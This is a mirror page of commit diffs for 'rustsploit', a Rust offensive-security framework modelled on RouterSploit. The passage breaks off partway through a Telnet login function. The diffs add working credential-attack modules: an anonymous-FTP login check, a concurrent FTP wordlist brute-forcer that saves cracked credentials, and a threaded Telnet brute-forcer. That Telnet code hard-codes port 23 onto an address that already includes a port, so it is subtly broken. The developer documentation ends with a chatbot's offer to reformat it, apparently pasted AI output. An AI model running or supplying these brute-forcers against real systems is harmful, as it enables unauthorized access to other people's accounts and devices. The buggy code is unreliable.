mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
21 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d0f4ca17c6 | |||
| 62916f46dc | |||
| df629fa3e3 | |||
| 873c12cbfa | |||
| 632cab6a26 | |||
| 0ac87b3e49 | |||
| c43b1e1ae3 | |||
| f876d91986 | |||
| 49ada2bb21 | |||
| 3f87adeb60 | |||
| e216e416ca | |||
| a910b75637 | |||
| d9547dbe2e | |||
| 54b1606028 | |||
| 2228c8a19b | |||
| 0d589e9bb6 | |||
| 1ad4786466 | |||
| a64b60c307 | |||
| 22933ec2fb | |||
| 892a29851a | |||
| f4217fa04d |
+15
@@ -15,3 +15,18 @@ tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0.97"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0.0"
|
||||
rustyline = "15.0.0"
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0.0"
|
||||
|
||||
tokio-socks = "0.5.2"
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8.1"
|
||||
crossbeam-channel = "0.5.15"
|
||||
telnet = "0.2.3"
|
||||
|
||||
walkdir = "2.5.0"
|
||||
|
||||
@@ -11,10 +11,22 @@ A Rust-based modular exploitation framework inspired by RouterSploit. This tool
|
||||
|
||||
### Goals & To Do lists
|
||||
|
||||
docs
|
||||
|
||||
convert exploits and add modules
|
||||
|
||||
add wordlists and brute forcing modules
|
||||
|
||||
# completed
|
||||
|
||||
telnet_bruteforce
|
||||
|
||||
ftp anonymous login module
|
||||
|
||||
ftp brute forcing module
|
||||
|
||||
dynamic modules listing and colored listing
|
||||
|
||||
|
||||
## 🚀 Building & Running
|
||||
|
||||
|
||||
+267
@@ -0,0 +1,267 @@
|
||||
the internal architecture, how to add or modify modules, and how the CLI and shell interact with the framework.
|
||||
|
||||
---
|
||||
|
||||
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
|
||||
|
||||
> This document explains the architecture, core logic, CLI, shell system, and how to add or modify exploit/scanner/credential modules. It is meant for developers looking to extend or maintain this Rust-based pentesting framework.
|
||||
|
||||
---
|
||||
|
||||
## 🧠 Framework Philosophy
|
||||
|
||||
This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of the RouterSploit concept. Each exploit, scanner, or credential brute-forcer lives in its own **module file**, and can be invoked via:
|
||||
|
||||
- 📟 Command-Line Interface (CLI)
|
||||
- 🖥️ Interactive Shell
|
||||
|
||||
---
|
||||
|
||||
## 🗂️ Directory Structure
|
||||
|
||||
```
|
||||
routersploit_rust/
|
||||
├── Cargo.toml
|
||||
└── src
|
||||
├── main.rs # Entry point
|
||||
├── cli.rs # Parses CLI args
|
||||
├── shell.rs # Interactive shell (rsf> prompt)
|
||||
├── commands/ # Dispatch logic for exploit/scanner/creds
|
||||
│ ├── mod.rs
|
||||
│ ├── exploit.rs
|
||||
│ ├── scanner.rs
|
||||
│ └── creds.rs
|
||||
├── modules/ # All available attack modules
|
||||
│ ├── mod.rs
|
||||
│ ├── exploits/
|
||||
│ │ ├── mod.rs
|
||||
│ │ └── sample_exploit.rs
|
||||
│ ├── scanners/
|
||||
│ │ ├── mod.rs
|
||||
│ │ └── sample_scanner.rs
|
||||
│ └── creds/
|
||||
│ ├── mod.rs
|
||||
│ └── sample_cred_check.rs
|
||||
└── utils.rs # Utility helpers (e.g., list modules)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔗 Module System
|
||||
|
||||
Each **module** (exploit/scanner/cred checker) is self-contained:
|
||||
|
||||
### Anatomy of a Module
|
||||
|
||||
```rust
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running <MODULE_NAME> on target {}", target);
|
||||
// Logic here
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Each module must:
|
||||
- Be placed inside the correct subfolder (e.g., `modules/exploits/`)
|
||||
- Have a `run(target: &str) -> Result<()>` function
|
||||
- Be declared in its parent's `mod.rs`
|
||||
- Be wired into the corresponding command handler (e.g., `commands/exploit.rs`)
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ CLI Internals
|
||||
|
||||
Handled via **Clap** in `cli.rs`:
|
||||
|
||||
```
|
||||
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
|
||||
```
|
||||
|
||||
- Parses command like `--command scanner`, `--module sample_scanner`, `--target 192.168.1.1`
|
||||
- Passed into `commands::handle_command()` for dispatch
|
||||
|
||||
---
|
||||
|
||||
## 🖥️ Interactive Shell
|
||||
|
||||
Start with:
|
||||
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
Inside the shell:
|
||||
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use exploits/sample_exploit
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
Shell maintains internal state:
|
||||
- `current_module` (e.g., `exploits/sample_exploit`)
|
||||
- `current_target` (e.g., `192.168.1.1`)
|
||||
|
||||
When `run` is called, it dispatches via `commands::run_module()`.
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Running a Module (Backend Flow)
|
||||
|
||||
1. Shell or CLI calls `commands::run_module("exploits/sample_exploit", "192.168.1.1")`
|
||||
2. `commands/mod.rs` matches `exploits/` and calls `commands/exploit.rs`
|
||||
3. `commands/exploit.rs` matches `sample_exploit` and calls `modules/exploits/sample_exploit.rs`
|
||||
4. `run(target: &str)` executes async exploit logic
|
||||
5. Results are printed back to the user
|
||||
|
||||
---
|
||||
|
||||
## ➕ How to Add a New Exploit/Scanner/Cred Module
|
||||
|
||||
### 1. Create the Module File
|
||||
|
||||
Example: `src/modules/exploits/my_new_exploit.rs`
|
||||
|
||||
```rust
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Launching my_new_exploit on {}", target);
|
||||
let url = format!("http://{}/pwn", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Request failed")?
|
||||
.text()
|
||||
.await?;
|
||||
|
||||
if resp.contains("owned") {
|
||||
println!("[+] Target is vulnerable!");
|
||||
} else {
|
||||
println!("[-] Not vulnerable.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. Register It in `mod.rs`
|
||||
|
||||
```rust
|
||||
// src/modules/exploits/mod.rs
|
||||
pub mod sample_exploit;
|
||||
pub mod my_new_exploit;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3. Wire It into the Command Handler
|
||||
|
||||
```rust
|
||||
// src/commands/exploit.rs
|
||||
match module_name {
|
||||
"sample_exploit" => exploits::sample_exploit::run(target).await?,
|
||||
"my_new_exploit" => exploits::my_new_exploit::run(target).await?,
|
||||
_ => eprintln!("Unknown exploit module"),
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 🛑 Error Handling
|
||||
|
||||
- All `run()` functions return `Result<()>` using `anyhow` for easy error context.
|
||||
- Errors are automatically printed when the main shell or CLI fails.
|
||||
|
||||
---
|
||||
|
||||
## ⚡ Async Support
|
||||
|
||||
- The project uses `tokio` runtime and `reqwest` async client.
|
||||
- All modules can use `async fn run(...) -> Result<()>` safely.
|
||||
|
||||
---
|
||||
|
||||
## 📡 HTTP Requests
|
||||
|
||||
- Use `reqwest` for sending requests to the target:
|
||||
```rust
|
||||
let response = reqwest::get(&url).await?;
|
||||
```
|
||||
|
||||
- Or with a custom client and headers/auth:
|
||||
```rust
|
||||
let client = reqwest::Client::new();
|
||||
let resp = client.post(&url).json(&data).send().await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧪 Example Use Cases
|
||||
|
||||
### CLI Mode
|
||||
|
||||
```
|
||||
# Exploit a router
|
||||
cargo run -- --command exploit --module sample_exploit --target 192.168.0.1
|
||||
```
|
||||
|
||||
### Shell Mode
|
||||
|
||||
```
|
||||
rsf> use exploits/sample_exploit
|
||||
rsf> set target 192.168.0.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🧼 Resetting Shell State
|
||||
|
||||
There is no persistent state between runs. All values (`module`, `target`) must be set each time unless you're adding support for config files or persistence.
|
||||
|
||||
---
|
||||
|
||||
## 🔐 Real Exploit Integration
|
||||
|
||||
To adapt a real-world CVE:
|
||||
|
||||
- Convert the PoC into an async HTTP request
|
||||
- Simulate or validate the vulnerable response pattern
|
||||
- Follow the above module creation workflow
|
||||
|
||||
If the exploit is based on open TCP/UDP, you can use `tokio::net::TcpStream` or `tokio::net::UdpSocket`.
|
||||
|
||||
---
|
||||
|
||||
## 🛠️ Feature Ideas
|
||||
|
||||
- 🧰 Add wordlist brute-forcers (like rockyou support)
|
||||
- 📄 Export results to a file
|
||||
- ⚡ Parallel scanning via `tokio::spawn`
|
||||
- 🔌 Plugin system for runtime module loading
|
||||
- 🔒 Encrypted config/profile saving
|
||||
- 🧪 Integration with Shodan/Censys APIs
|
||||
|
||||
---
|
||||
|
||||
## 👥 Contributors
|
||||
|
||||
- Main Developer: You.
|
||||
- Language: 100% Rust
|
||||
- Base Concept: Inspired by RouterSploit, Metasploit, and pwntools.
|
||||
|
||||
---
|
||||
|
||||
## 🧾 License
|
||||
|
||||
---
|
||||
|
||||
Would you like me to convert this into a Markdown file (`docs.md`) and drop it into your project as-is? Or would you like GitHub-flavored `.md` formatting tailored with headers, badges, collapsible trees, etc.?
|
||||
+14
-7
@@ -1,13 +1,20 @@
|
||||
use anyhow::Result;
|
||||
use crate::modules::creds;
|
||||
use anyhow::{Result, bail};
|
||||
|
||||
use crate::modules::creds::generic::{
|
||||
ftp_anonymous,
|
||||
ftp_bruteforce,
|
||||
sample_cred_check,
|
||||
telnet_bruteforce,
|
||||
};
|
||||
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_cred_check" => {
|
||||
creds::sample_cred_check::run(target).await?;
|
||||
},
|
||||
// Add more creds modules here ...
|
||||
_ => eprintln!("Creds module '{}' not found.", module_name),
|
||||
"generic/sample_cred_check" => sample_cred_check::run(target).await?,
|
||||
"generic/ftp_bruteforce" => ftp_bruteforce::run(target).await?,
|
||||
"generic/ftp_anonymous" => ftp_anonymous::run(target).await?,
|
||||
"generic/telnet_bruteforce" => telnet_bruteforce::run(target).await?,
|
||||
_ => bail!("Creds module '{}' not found.", module_name),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
+69
-24
@@ -1,51 +1,96 @@
|
||||
// src/commands/mod.rs
|
||||
|
||||
pub mod exploit;
|
||||
pub mod scanner;
|
||||
pub mod creds;
|
||||
|
||||
use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use walkdir::WalkDir;
|
||||
|
||||
|
||||
/// Handle CLI commands like: --command exploit --module creds/generic/ftp_anonymous --target x.x.x.x
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
exploit::run_exploit(&module, &target).await?;
|
||||
let trimmed = module.trim_start_matches("exploits/"); // normalize
|
||||
exploit::run_exploit(trimmed, &target).await?;
|
||||
},
|
||||
"scanner" => {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
scanner::run_scan(&module, &target).await?;
|
||||
let trimmed = module.trim_start_matches("scanners/");
|
||||
scanner::run_scan(trimmed, &target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
creds::run_cred_check(&module, &target).await?;
|
||||
let trimmed = module.trim_start_matches("creds/");
|
||||
creds::run_cred_check(trimmed, &target).await?;
|
||||
},
|
||||
_ => {
|
||||
eprintln!("Unknown command '{}'", command);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Called from the interactive shell
|
||||
/// Called from the interactive shell (e.g. 'use creds/generic/ftp_anonymous' + 'run')
|
||||
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
|
||||
if module_path.starts_with("exploits/") {
|
||||
let module_name = module_path.trim_start_matches("exploits/").to_string();
|
||||
exploit::run_exploit(&module_name, target).await?;
|
||||
} else if module_path.starts_with("scanners/") {
|
||||
let module_name = module_path.trim_start_matches("scanners/").to_string();
|
||||
scanner::run_scan(&module_name, target).await?;
|
||||
} else if module_path.starts_with("creds/") {
|
||||
let module_name = module_path.trim_start_matches("creds/").to_string();
|
||||
creds::run_cred_check(&module_name, target).await?;
|
||||
} else {
|
||||
eprintln!("Unknown module path '{}'", module_path);
|
||||
let available = discover_modules();
|
||||
|
||||
if !available.contains(&module_path.to_string()) {
|
||||
eprintln!("Unknown module '{}'. Available modules:", module_path);
|
||||
for module in available {
|
||||
println!(" {}", module);
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Split path like "creds/generic/ftp_anonymous" -> ("creds", "generic/ftp_anonymous")
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
match category {
|
||||
"exploits" => {
|
||||
exploit::run_exploit(module_name, target).await?;
|
||||
},
|
||||
"scanners" => {
|
||||
scanner::run_scan(module_name, target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
creds::run_cred_check(module_name, target).await?;
|
||||
},
|
||||
_ => {
|
||||
eprintln!("Category '{}' is not supported.", category);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Discover modules in src/modules/{exploits,scanners,creds} recursively up to 6 levels deep
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
let categories = ["exploits", "scanners", "creds"];
|
||||
|
||||
for category in categories {
|
||||
let base_path = format!("src/modules/{}", category);
|
||||
let walker = WalkDir::new(&base_path).max_depth(6);
|
||||
|
||||
for entry in walker.into_iter().filter_map(|e| e.ok()) {
|
||||
let path = entry.path();
|
||||
|
||||
if path.is_file() && path.extension().map(|e| e == "rs").unwrap_or(false) {
|
||||
if let Ok(relative) = path.strip_prefix("src/modules") {
|
||||
let module_path = relative
|
||||
.with_extension("") // remove .rs
|
||||
.to_string_lossy()
|
||||
.replace("\\", "/"); // Windows compatibility
|
||||
modules.push(module_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
modules
|
||||
}
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::net::TcpStream;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
/// Checks if anonymous FTP login is allowed on a target.
|
||||
///
|
||||
/// Example usage from shell:
|
||||
/// ```
|
||||
/// rsf> use creds/ftp_anonymous
|
||||
/// rsf> set target 192.168.1.1
|
||||
/// rsf> run
|
||||
/// ```
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 21;
|
||||
let address = format!("{}:{}", target, port);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", address);
|
||||
|
||||
// Connect with a short timeout
|
||||
let stream = TcpStream::connect_timeout(
|
||||
&address.parse().context("Invalid address")?,
|
||||
Duration::from_secs(5),
|
||||
)
|
||||
.context("Connection failed")?;
|
||||
|
||||
// Clone reader/writer
|
||||
let mut reader = BufReader::new(stream.try_clone()?);
|
||||
let mut writer = stream;
|
||||
|
||||
// Read initial banner
|
||||
let mut banner = String::new();
|
||||
reader.read_line(&mut banner)?;
|
||||
print!("[<] {}", banner);
|
||||
|
||||
// Send USER anonymous
|
||||
writer.write_all(b"USER anonymous\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
let mut response = String::new();
|
||||
reader.read_line(&mut response)?;
|
||||
print!("[<] {}", response);
|
||||
|
||||
if !response.starts_with("3") && !response.contains("password") {
|
||||
println!("[-] Server does not accept 'anonymous' user.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Send PASS anything (or empty)
|
||||
writer.write_all(b"PASS anonymous\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
response.clear();
|
||||
reader.read_line(&mut response)?;
|
||||
print!("[<] {}", response);
|
||||
|
||||
if response.starts_with("2") {
|
||||
println!("[+] Anonymous login successful!");
|
||||
} else {
|
||||
println!("[-] Anonymous login failed.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,235 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
let _pass_len = pass_lines.len();
|
||||
|
||||
|
||||
let mut idx = 0;
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
// Pair same line index if available
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ftp_login(&addr, &user, &pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr, user, pass);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
match FtpStream::connect(addr).await {
|
||||
Ok(mut stream) => match stream.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = stream.quit().await;
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("FTP error: {}", e))
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(e) => Err(anyhow!("Connection error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
|
||||
pub mod sample_cred_check;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
use anyhow::{Result, Context};
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use telnet::Event;
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::{unbounded};
|
||||
use telnet::Telnet;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
|
||||
|
||||
let target = target.to_string();
|
||||
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
|
||||
let config = TelnetBruteforceConfig {
|
||||
target,
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
};
|
||||
|
||||
run_telnet_bruteforce(config)
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct TelnetBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
}
|
||||
|
||||
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
let addr = format!("{}:{}", config.target, config.port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address")?
|
||||
.next()
|
||||
.context("Unable to resolve target address")?;
|
||||
|
||||
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
|
||||
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
|
||||
let creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
if config.full_combo {
|
||||
for user in &usernames {
|
||||
for pass in &passwords {
|
||||
tx.send((user.clone(), pass.clone()))?;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if usernames.len() == 1 {
|
||||
for pass in &passwords {
|
||||
tx.send((usernames[0].clone(), pass.clone()))?;
|
||||
}
|
||||
} else if passwords.len() == 1 {
|
||||
for user in &usernames {
|
||||
tx.send((user.clone(), passwords[0].clone()))?;
|
||||
}
|
||||
} else {
|
||||
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
|
||||
for pass in &passwords {
|
||||
tx.send((usernames[0].clone(), pass.clone()))?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(tx);
|
||||
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let creds = Arc::clone(&creds);
|
||||
let config = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((username, password)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() {
|
||||
break;
|
||||
}
|
||||
|
||||
if config.verbose {
|
||||
println!("[*] Trying {}:{}", username, password);
|
||||
}
|
||||
|
||||
match try_telnet_login(&addr, &username, &password) {
|
||||
Ok(true) => {
|
||||
println!("[+] Valid credentials: {}:{}", username, password);
|
||||
creds.lock().unwrap().push((username, password));
|
||||
|
||||
if config.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
if config.verbose {
|
||||
eprintln!("[!] Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
let creds = creds.lock().unwrap();
|
||||
if creds.is_empty() {
|
||||
println!("[-] No valid credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Found credentials:");
|
||||
for (u, p) in creds.iter() {
|
||||
println!(" - {}:{}", u, p);
|
||||
}
|
||||
|
||||
let save = prompt("\n[?] Save credentials to file? (y/n): ");
|
||||
if save.trim().eq_ignore_ascii_case("y") {
|
||||
let filename = prompt("Enter filename to save: ");
|
||||
if let Err(e) = save_results(&filename, &creds) {
|
||||
eprintln!("[!] Failed to save results: {}", e);
|
||||
} else {
|
||||
println!("[+] Results saved to '{}'", filename);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
let mut connection = Telnet::connect((addr, 23), 256)
|
||||
.context("Failed to connect to Telnet server")?;
|
||||
|
||||
let mut login_prompt_seen = false;
|
||||
let mut pass_prompt_seen = false;
|
